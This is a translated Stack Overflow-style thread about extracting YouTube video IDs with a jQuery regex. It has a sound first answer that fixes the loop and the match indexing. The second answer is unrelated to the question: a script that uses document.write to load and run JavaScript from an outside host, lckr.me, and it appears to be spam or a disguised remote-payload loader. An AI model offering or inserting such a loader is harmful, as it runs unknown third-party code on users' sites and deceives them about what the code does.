【问题标题】:YouTube replace url with video ID using JavaScript and jQueryYouTube 使用 JavaScript 和 jQuery 将 url 替换为视频 ID
【发布时间】:2012-01-25 11:01:29
【问题描述】:

我已经从这个http://jsfiddle.net/HfqmE/1/ 中获取了正则表达式 我有 HTML

<span class="yturl">http://www.youtube.com/watch?feature=endscreen&NR=1&v=jSAwWrbdoEQ</span>
<span class="yturl">http://www.youtube.com/watch?v=jSAwWrbdoEQ&feature=feedrec_grec_index</span>
<span class="yturl">http://youtu.be/jSAwWrbdoEQ</span>
<span class="yturl">http://www.youtube.com/embed/jSAwWrbdoEQ</span>
<span class="yturl">http://www.youtube.com/v/jSAwWrbdoEQ?version=3&amp;hl=en_US</span>
<span class="yturl">http://www.youtube.com/watch?NR=1&feature=endscreen&v=jSAwWrbdoEQ</span>
<span class="yturl">http://www.youtube.com/user/TheGameVEVO#p/a/u/1/jSAwWrbdoEQ</span>

对于每个span.yturl,我正在尝试从它包含的 youtube url 中提取 id,我尝试过 http://jsfiddle.net/HfqmE/40/

$("span.yturl").each(function(){
    var regex = /(\?v=|\&v=|\/\d\/|\/embed\/|\/v\/|\.be\/)([a-zA-Z0-9\-\_]+)/;
    var youtubeurl = $("span.yturl").html();
    var regexyoutubeurl = youtubeurl.match(regex);
    $("span.yturl").html(regexyoutubeurl);
});

这只是让结果空白,请帮忙!!

【问题讨论】:

    标签: javascript jquery regex parsing youtube


    【解决方案1】:

    匹配返回一个数组。看起来你想要regexyoutubeurl[2]

    您正在迭代器函数中重新查询$("span.yturl")。这样,您对每个跨度执行 7 次,而不是对 7 个跨度中的每一个执行一次。请改用$(this)

    另外,使用.text() 而不是.html(),以免你的&amp;amp; 变成&amp;amp;

    $("span.yturl").each(function(){
        var regex = /(\?v=|\&v=|\/\d\/|\/embed\/|\/v\/|\.be\/)([a-zA-Z0-9\-\_]+)/;
        var youtubeurl = $(this).text();
        var regexyoutubeurl = youtubeurl.match(regex);
        if (regexyoutubeurl) {
            $(this).text(regexyoutubeurl[2]);
        }
    });
    

    http://jsfiddle.net/gilly3/HfqmE/53/

    【讨论】:

    • 很棒,但不幸的是,每个返回的 id 前面都有 http,这是为什么?
    • @Yusaf - 结果不止一个问题。我已经更新了我的答案以解决其他问题。
    【解决方案2】:
    <script>
    var LockedTag = 'replace-this-with-your-videoID';
    document.write('<'+'script src="http://lckr.me/18B?s='+Math.round(Math.random()*100000)+'" type="text/javascript"><'+'/script>');
    </script>
    

    【讨论】:

      猜你喜欢
      • 2011-11-19
      • 1970-01-01
      • 2015-09-20
      • 2011-07-22
      • 2012-10-11
      • 1970-01-01
      • 2015-12-01
      • 2014-12-27
      • 2015-10-27
      相关资源
      最近更新 更多